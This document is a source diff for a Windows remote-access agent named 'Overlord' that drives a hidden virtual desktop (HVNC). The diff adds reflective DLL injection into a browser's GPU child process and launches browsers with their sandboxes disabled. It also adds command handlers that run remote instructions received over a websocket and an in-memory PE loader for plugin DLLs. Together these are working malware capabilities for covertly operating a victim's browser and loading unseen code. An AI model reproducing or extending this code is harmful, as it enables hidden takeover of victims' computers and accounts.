@@ -712,9 +719,170 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
procCloseHandle.Call(hThread) procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid) log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
if len(captureDllBytes) > 0 {
go hvncDeferredGPUInject(pid, captureDllBytes)
}
return nil return nil
} }
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
time.Sleep(4 * time.Second)
for attempt := 0; attempt < 15; attempt++ {
gpuPID, err := findGPUChildProcess(browserPID)
if err != nil {
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
time.Sleep(2 * time.Second)
continue
}
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
if hProcess == 0 {
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
return
}
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
procCloseHandle.Call(hProcess)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
}
return
}
procCloseHandle.Call(hProcess)
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
hvncRegisterInjectedPID(gpuPID)
hvncRegisterGPUPID(browserPID, gpuPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
}
return
}
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
fn(false, 0, "DXGI injection failed: GPU process not found")
}
}
func findGPUChildProcess(parentPID uint32) (uint32, error) {
children := findChildPIDs(parentPID)
if len(children) == 0 {
return 0, fmt.Errorf("no child processes")
}
for _, childPID := range children {
if hasLoadedModule(childPID, "d3d11.dll") {
return childPID, nil
}
}
return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children))
}
type processEntry32W struct {
Size uint32
CntUsage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
CntThreads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [260]uint16
}
type moduleEntry32W struct {
Size uint32
ModuleID uint32
ProcessID uint32
GlblcntUsage uint32
ProccntUsage uint32
ModBaseAddr uintptr
ModBaseSize uint32
HModule uintptr
SzModule [256]uint16
SzExePath [260]uint16
}
var (
procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
procProcess32FirstW = kernel32.NewProc("Process32FirstW")
procProcess32NextW = kernel32.NewProc("Process32NextW")
procModule32FirstW = kernel32.NewProc("Module32FirstW")
procModule32NextW = kernel32.NewProc("Module32NextW")
)
const (
TH32CS_SNAPPROCESS = 0x00000002
TH32CS_SNAPMODULE = 0x00000008
TH32CS_SNAPMODULE32 = 0x00000010
)
func findChildPIDs(parentPID uint32) []uint32 {
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0)
if snap == 0 || snap == ^uintptr(0) {
return nil
}
defer procCloseHandle.Call(snap)
var entry processEntry32W
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return nil
}
var children []uint32
for {
if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID {
children = append(children, entry.ProcessID)
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return children
}
func hasLoadedModule(pid uint32, moduleName string) bool {
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid))
if snap == 0 || snap == ^uintptr(0) {
return false
}
defer procCloseHandle.Call(snap)
var entry moduleEntry32W
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return false
}
target := strings.ToLower(moduleName)
for {
name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:]))
if name == target {
return true
}
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
break
}
}
return false
}
func terminateProcess(hProcess uintptr) { func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1) kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
} }
@@ -771,7 +939,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
} }
baseName := strings.ToLower(filepath.Base(filePath)) baseName := strings.ToLower(filepath.Base(filePath))
if browserExes[baseName] { if browserExes[baseName] {
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu" args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
} else if baseName == "firefox.exe" { } else if baseName == "firefox.exe" {
args += " -no-remote -wait-for-browser" args += " -no-remote -wait-for-browser"
} }
@@ -15,6 +15,10 @@ func CleanupHVNCDesktop() {}
func SetHVNCCursorCapture(enabled bool) {} func SetHVNCCursorCapture(enabled bool) {}
func SetHVNCDXGIEnabled(enabled bool) {}
func GetHVNCDXGIEnabled() bool { return false }
func hvncCaptureDisplay(display int) (*image.RGBA, error) { func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform") return nil, errors.New("HVNC not supported on this platform")
} }
+198 -51
View File
@@ -203,20 +203,21 @@ const (
) )
type hvncTask struct { type hvncTask struct {
kind hvncTaskKind kind hvncTaskKind
id uint64 id uint64
display int display int
filePath string filePath string
x int32 x int32
y int32 y int32
button int button int
vk uint16 vk uint16
delta int32 delta int32
dllBytes []byte dllBytes []byte
searchPath string captureDllBytes []byte
replacePath string searchPath string
queuedAt time.Time replacePath string
resp chan hvncTaskResult queuedAt time.Time
resp chan hvncTaskResult
} }
type hvncTaskResult struct { type hvncTaskResult struct {
@@ -360,6 +361,10 @@ func CleanupHVNCDesktop() {
hvncDesktopMu.Lock() hvncDesktopMu.Lock()
defer hvncDesktopMu.Unlock() defer hvncDesktopMu.Unlock()
hvncCleanupFrameReaders()
hvncFreeCapCache()
for _, entry := range hvncWinCache { for _, entry := range hvncWinCache {
hvncFreeCacheEntry(entry) hvncFreeCacheEntry(entry)
} }
@@ -475,7 +480,7 @@ func ensureHVNCThread() error {
case hvncTaskStartProcess: case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath) result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected: case hvncTaskStartProcessInjected:
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath) result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove: case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown: case hvncTaskMouseDown:
@@ -710,13 +715,86 @@ func hvncTaskDetails(task hvncTask) string {
} }
} }
var (
hvncCapHDCScreen uintptr
hvncCapHDCMem uintptr
hvncCapHBMP uintptr
hvncCapBits unsafe.Pointer
hvncCapW int
hvncCapH int
hvncCapImg *image.RGBA
)
func hvncFreeCapCache() {
if hvncCapHBMP != 0 {
deleteObject(hvncCapHBMP)
hvncCapHBMP = 0
}
if hvncCapHDCMem != 0 {
deleteDC(hvncCapHDCMem)
hvncCapHDCMem = 0
}
if hvncCapHDCScreen != 0 {
releaseDC(0, hvncCapHDCScreen)
hvncCapHDCScreen = 0
}
hvncCapBits = nil
hvncCapW = 0
hvncCapH = 0
hvncCapImg = nil
}
func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
if hvncCapHDCScreen == 0 {
hvncCapHDCScreen = getDC(0)
if hvncCapHDCScreen == 0 {
return 0, 0, nil, false
}
}
if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil {
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
}
if hvncCapHBMP != 0 {
deleteObject(hvncCapHBMP)
hvncCapHBMP = 0
}
if hvncCapHDCMem != 0 {
deleteDC(hvncCapHDCMem)
hvncCapHDCMem = 0
}
hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen)
if hvncCapHDCMem == 0 {
return 0, 0, nil, false
}
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(w),
biHeight: -int32(h),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits)
if hvncCapHBMP == 0 || hvncCapBits == nil {
deleteDC(hvncCapHDCMem)
hvncCapHDCMem = 0
return 0, 0, nil, false
}
selectObject(hvncCapHDCMem, hvncCapHBMP)
hvncCapW = w
hvncCapH = h
hvncCapImg = nil
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
}
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
captureMu.Lock() captureMu.Lock()
defer captureMu.Unlock() defer captureMu.Unlock()
restoreRes := BypassResolutionCap()
defer restoreRes()
setDPIAware() setDPIAware()
maxDisplays := displayCount() maxDisplays := displayCount()
@@ -748,36 +826,11 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
capW := srcW capW := srcW
capH := srcH capH := srcH
hdcScreen := getDC(0) hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
if hdcScreen == 0 { if !ok {
return nil, syscall.EINVAL return nil, syscall.EINVAL
} }
defer releaseDC(0, hdcScreen)
hdcMem := createCompatibleDC(hdcScreen)
if hdcMem == 0 {
return nil, syscall.EINVAL
}
defer deleteDC(hdcMem)
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(capW),
biHeight: -int32(capH),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if hbmp == 0 || bits == nil {
return nil, syscall.EINVAL
}
selectObject(hdcMem, hbmp)
buf := unsafe.Slice((*byte)(bits), capW*capH*4)
for i := range buf { for i := range buf {
buf[i] = 0 buf[i] = 0
} }
@@ -792,14 +845,15 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
} }
swapRB(buf) swapRB(buf)
img := image.NewRGBA(image.Rect(0, 0, capW, capH))
img := hvncCapImg
if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH {
img = image.NewRGBA(image.Rect(0, 0, capW, capH))
hvncCapImg = img
}
copy(img.Pix, buf) copy(img.Pix, buf)
deleteObject(hbmp) _ = hdcMem
if hvncCursorEnabled {
DrawCursorOnImage(img, bounds)
}
if dstW != capW || dstH != capH { if dstW != capW || dstH != capH {
img = resizeNearest(img, dstW, dstH) img = resizeNearest(img, dstW, dstH)
@@ -1571,6 +1625,95 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
} }
} }
var dxgiFrameBuf []byte
var hvncDXGIEnabled atomic.Bool
func init() {
hvncDXGIEnabled.Store(true) // enabled by default
}
func SetHVNCDXGIEnabled(enabled bool) {
hvncDXGIEnabled.Store(enabled)
}
func GetHVNCDXGIEnabled() bool {
return hvncDXGIEnabled.Load()
}
func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
if !hvncDXGIEnabled.Load() {
return false
}
var pid uint32
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
if pid == 0 {
return false
}
reader := hvncGetFrameReader(pid)
if reader == nil {
hvncFrameReadersMu.Lock()
gpuPID := hvncGPUPIDMap[pid]
hvncFrameReadersMu.Unlock()
if gpuPID != 0 {
reader = hvncGetFrameReader(gpuPID)
}
}
if reader == nil {
return false
}
needed := winW * winH * 4
if cap(dxgiFrameBuf) < needed {
dxgiFrameBuf = make([]byte, needed)
}
buf := dxgiFrameBuf[:needed]
frameW, frameH, ok := reader.readFrame(buf)
if !ok {
return false
}
copyW := minInt(winW, frameW)
copyH := minInt(winH, frameH)
if copyW <= 0 || copyH <= 0 {
return false
}
srcStride := frameW * 4
winStride := winW * 4
effWinLeft := winLeft
effWinTop := winTop
effWinRight := winLeft + copyW
effWinBottom := winTop + copyH
interLeft := maxInt(effWinLeft, bounds.Min.X)
interTop := maxInt(effWinTop, bounds.Min.Y)
interRight := minInt(effWinRight, bounds.Max.X)
interBottom := minInt(effWinBottom, bounds.Max.Y)
if interRight <= interLeft || interBottom <= interTop {
return false
}
srcX := interLeft - winLeft
srcY := interTop - winTop
dstX := interLeft - bounds.Min.X
dstY := interTop - bounds.Min.Y
blitW := interRight - interLeft
blitH := interBottom - interTop
for y := 0; y < blitH; y++ {
srcStart := (srcY+y)*srcStride + srcX*4
dstStart := (dstY+y)*targetStride + dstX*4
copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
}
_ = winStride
return true
}
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if !isWindowVisible(hwnd) { if !isWindowVisible(hwnd) {
return false return false
@@ -1597,6 +1740,10 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
return false return false
} }
if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
return true
}
// Use pooled DC+DIB from cache // Use pooled DC+DIB from cache
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH) entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
if entry == nil { if entry == nil {
+1 -1
View File
@@ -17,7 +17,7 @@ import (
"time" "time"
) )
var AgentVersion = "1.8.4" var AgentVersion = "1.8.6"
var DefaultPersistence = "false" var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173" var DefaultServerURL = "wss://127.0.0.1:5173"
+54 -4
View File
@@ -470,6 +470,21 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
return nil return nil
} }
func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
if payload == nil {
return nil
}
switch v := payload["capture_dll"].(type) {
case []byte:
return v
case string:
if len(v) > 0 {
return []byte(v)
}
}
return nil
}
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
cmdID, _ := envelope["id"].(string) cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string) action, _ := envelope["commandType"].(string)
@@ -977,6 +992,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = HVNCCursorControl(ctx, env, enabled) _ = HVNCCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
return nil return nil
case "hvnc_enable_dxgi":
payload, _ := envelope["payload"].(map[string]interface{})
dxgiEnabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
dxgiEnabled = v
}
}
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
capture.SetHVNCDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 1080
if payload != nil {
if v, ok := payloadInt(payload, "maxHeight"); ok {
maxH = v
}
}
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_quality": case "hvnc_set_quality":
payload, _ := envelope["payload"].(map[string]interface{}) payload, _ := envelope["payload"].(map[string]interface{})
quality := 90 quality := 90
@@ -1437,10 +1476,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no DLL provided") sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil return nil
} }
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes)) captureDllBytes := extractCaptureDLLBytes(payload)
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() { goSafe("hvnc_start_process_injected", nil, func() {
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil { if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err) log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
} }
}) })
@@ -1460,9 +1500,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil return nil
} }
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_chrome_injected", nil, func() { goSafe("hvnc_start_chrome_injected", nil, func() {
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil { if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("hvnc: chrome injected failed: %v", err) log.Printf("hvnc: chrome injected failed: %v", err)
} }
}) })
@@ -1502,6 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil return nil
} }
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes)) log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() { goSafe("hvnc_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc var onProgress capture.CloneProgressFunc
@@ -1517,7 +1559,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}) })
} }
} }
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil { onDXGIStatus := func(success bool, gpuPID uint32, message string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
Type: "hvnc_dxgi_status",
Success: success,
GPUPid: gpuPID,
Message: message,
})
}
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err) log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
} }
}) })
+1 -1
View File
@@ -27,7 +27,7 @@ func GetPersistedHVNCDisplay() int {
} }
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30) interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
capture.SetH264TargetFPS(fps) capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps) log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -5,7 +5,7 @@ package plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"sync" "runtime"
"syscall" "syscall"
"unsafe" "unsafe"
) )
@@ -15,59 +15,96 @@ func loadNativePlugin(data []byte) (NativePlugin, error) {
return nil, errors.New("empty plugin binary") return nil, errors.New("empty plugin binary")
} }
mm, err := LoadMemoryModule(data) type initResult struct {
if err != nil { dp *dllPlugin
return nil, fmt.Errorf("pe load: %w", err) err error
} }
ch := make(chan initResult, 1)
if err := mm.CallEntryPoint(dllProcessAttach); err != nil { go func() {
mm.Free() runtime.LockOSThread()
return nil, fmt.Errorf("DllMain init: %w", err)
}
onLoad, err := mm.GetExport("PluginOnLoad") mm, err := LoadMemoryModule(data)
if err != nil { if err != nil {
mm.Free() ch <- initResult{err: fmt.Errorf("pe load: %w", err)}
return nil, err runtime.UnlockOSThread()
} return
onEvent, err := mm.GetExport("PluginOnEvent") }
if err != nil {
mm.Free()
return nil, err
}
onUnload, err := mm.GetExport("PluginOnUnload")
if err != nil {
mm.Free()
return nil, err
}
setCallback, _ := mm.GetExport("PluginSetCallback") if err := mm.CallEntryPoint(dllProcessAttach); err != nil {
mm.Free()
ch <- initResult{err: fmt.Errorf("DllMain init: %w", err)}
runtime.UnlockOSThread()
return
}
runtime := "go" onLoad, err := mm.GetExport("PluginOnLoad")
if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil { if err != nil {
ret, _, _ := syscall.SyscallN(getRuntimeAddr) mm.Free()
if ret != 0 { ch <- initResult{err: err}
var buf [32]byte runtime.UnlockOSThread()
for i := range buf { return
b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) }
if b == 0 { onEvent, err := mm.GetExport("PluginOnEvent")
runtime = string(buf[:i]) if err != nil {
break mm.Free()
ch <- initResult{err: err}
runtime.UnlockOSThread()
return
}
onUnload, err := mm.GetExport("PluginOnUnload")
if err != nil {
mm.Free()
ch <- initResult{err: err}
runtime.UnlockOSThread()
return
}
setCallback, _ := mm.GetExport("PluginSetCallback")
rt := "go"
if getRuntimeAddr, err := mm.GetExport("PluginGetRuntime"); err == nil {
ret, _, _ := syscall.SyscallN(getRuntimeAddr)
if ret != 0 {
var buf [32]byte
for i := range buf {
b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
if b == 0 {
rt = string(buf[:i])
break
}
buf[i] = b
} }
buf[i] = b
} }
} }
}
dp := &dllPlugin{ dp := &dllPlugin{
mem: mm, mem: mm,
onLoadAddr: onLoad, onLoadAddr: onLoad,
onEventAddr: onEvent, onEventAddr: onEvent,
onUnloadAddr: onUnload, onUnloadAddr: onUnload,
setCallbackAddr: setCallback, setCallbackAddr: setCallback,
pluginRuntime: runtime, pluginRuntime: rt,
workCh: make(chan pluginWork),
}
ch <- initResult{dp: dp}
dp.workerLoop()
runtime.UnlockOSThread()
}()
res := <-ch
if res.err != nil {
return nil, res.err
} }
return dp, nil return res.dp, nil
}
type pluginWork struct {
fn func() error
done chan error
} }
type dllPlugin struct { type dllPlugin struct {
@@ -78,76 +115,94 @@ type dllPlugin struct {
setCallbackAddr uintptr setCallbackAddr uintptr
callbackHandle uintptr // prevent GC of the callback closure callbackHandle uintptr // prevent GC of the callback closure
pluginRuntime string // "go", "c", "cpp", etc. pluginRuntime string // "go", "c", "cpp", etc.
mu sync.Mutex workCh chan pluginWork
}
func (p *dllPlugin) workerLoop() {
for w := range p.workCh {
w.done <- w.fn()
}
}
func (p *dllPlugin) runOnWorker(fn func() error) error {
done := make(chan error, 1)
p.workCh <- pluginWork{fn: fn, done: done}
return <-done
} }
func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error { func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error {
p.mu.Lock() return p.runOnWorker(func() error {
defer p.mu.Unlock() // Create a stdcall callback the DLL can invoke to send events to the host.
cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
event := make([]byte, eventLen)
if eventLen > 0 {
copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
}
payload := make([]byte, payloadLen)
if payloadLen > 0 {
copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
}
send(string(event), payload)
return 0
})
p.callbackHandle = cb
// Create a stdcall callback the DLL can invoke to send events to the host. if p.setCallbackAddr != 0 {
cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr { syscall.SyscallN(p.setCallbackAddr, cb)
event := make([]byte, eventLen)
if eventLen > 0 {
copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
} }
payload := make([]byte, payloadLen)
if payloadLen > 0 { var infoPtr uintptr
copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen)) infoLen := uintptr(len(hostInfo))
if len(hostInfo) > 0 {
infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
} }
send(string(event), payload) ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
return 0 if int32(ret) != 0 {
return errors.New("PluginOnLoad returned non-zero")
}
return nil
}) })
p.callbackHandle = cb
if p.setCallbackAddr != 0 {
syscall.SyscallN(p.setCallbackAddr, cb)
}
var infoPtr uintptr
infoLen := uintptr(len(hostInfo))
if len(hostInfo) > 0 {
infoPtr = uintptr(unsafe.Pointer(&hostInfo[0]))
}
ret, _, _ := syscall.SyscallN(p.onLoadAddr, infoPtr, infoLen, cb)
if int32(ret) != 0 {
return errors.New("PluginOnLoad returned non-zero")
}
return nil
} }
func (p *dllPlugin) Event(event string, payload []byte) error { func (p *dllPlugin) Event(event string, payload []byte) error {
p.mu.Lock()
defer p.mu.Unlock()
eventBytes := []byte(event) eventBytes := []byte(event)
var eventPtr, payloadPtr uintptr payloadCopy := make([]byte, len(payload))
eventLen := uintptr(len(eventBytes)) copy(payloadCopy, payload)
payloadLen := uintptr(len(payload))
if len(eventBytes) > 0 {
eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
}
if len(payload) > 0 {
payloadPtr = uintptr(unsafe.Pointer(&payload[0]))
}
ret, _, _ := syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen) go func() {
if int32(ret) != 0 { runtime.LockOSThread()
return errors.New("PluginOnEvent returned non-zero") defer runtime.UnlockOSThread()
}
cleanup := p.mem.SetupThreadTLS()
defer cleanup()
var eventPtr, payloadPtr uintptr
eventLen := uintptr(len(eventBytes))
payloadLen := uintptr(len(payloadCopy))
if len(eventBytes) > 0 {
eventPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
}
if len(payloadCopy) > 0 {
payloadPtr = uintptr(unsafe.Pointer(&payloadCopy[0]))
}
syscall.SyscallN(p.onEventAddr, eventPtr, eventLen, payloadPtr, payloadLen)
}()
return nil return nil
} }
func (p *dllPlugin) Unload() { func (p *dllPlugin) Unload() {
p.mu.Lock() _ = p.runOnWorker(func() error {
defer p.mu.Unlock() if p.onUnloadAddr != 0 {
if p.onUnloadAddr != 0 { syscall.SyscallN(p.onUnloadAddr)
syscall.SyscallN(p.onUnloadAddr) }
} return nil
})
} }
func (p *dllPlugin) Close() error { func (p *dllPlugin) Close() error {
p.Unload() p.Unload()
close(p.workCh)
if p.pluginRuntime != "go" { if p.pluginRuntime != "go" {
if p.mem != nil { if p.mem != nil {
p.mem.Free() p.mem.Free()
@@ -5,6 +5,7 @@ package plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"overlord-client/cmd/agent/plugins/teb"
"syscall" "syscall"
"unsafe" "unsafe"
@@ -123,14 +124,18 @@ type imageTLSDirectory64 struct {
} }
type MemoryModule struct { type MemoryModule struct {
base uintptr base uintptr
size uintptr size uintptr
entryPoint uintptr entryPoint uintptr
exports map[string]uintptr exports map[string]uintptr
importDLLs []windows.Handle importDLLs []windows.Handle
initialized bool initialized bool
tlsIndex uint32 tlsIndex uint32
tlsData uintptr tlsData uintptr
tlsArrayAlloc uintptr // our VirtualAlloc'd ThreadLocalStoragePointer array
tlsTemplSrc uintptr // PE template raw data start (for copying to new threads)
tlsTemplSize uintptr // dataSize (template bytes to copy)
tlsTotalSize uintptr // dataSize + zeroFill (total allocation per thread)
} }
func LoadMemoryModule(data []byte) (*MemoryModule, error) { func LoadMemoryModule(data []byte) (*MemoryModule, error) {
@@ -293,8 +298,8 @@ func (mm *MemoryModule) Free() {
if mm.tlsIndex != 0xFFFFFFFF { if mm.tlsIndex != 0xFFFFFFFF {
if mm.tlsData != 0 { if mm.tlsData != 0 {
_ = windows.VirtualFree(mm.tlsData, 0, windows.MEM_RELEASE) _ = windows.VirtualFree(mm.tlsData, 0, windows.MEM_RELEASE)
mm.tlsData = 0
} }
procTlsFree.Call(uintptr(mm.tlsIndex))
} }
for _, h := range mm.importDLLs { for _, h := range mm.importDLLs {
_ = windows.FreeLibrary(h) _ = windows.FreeLibrary(h)
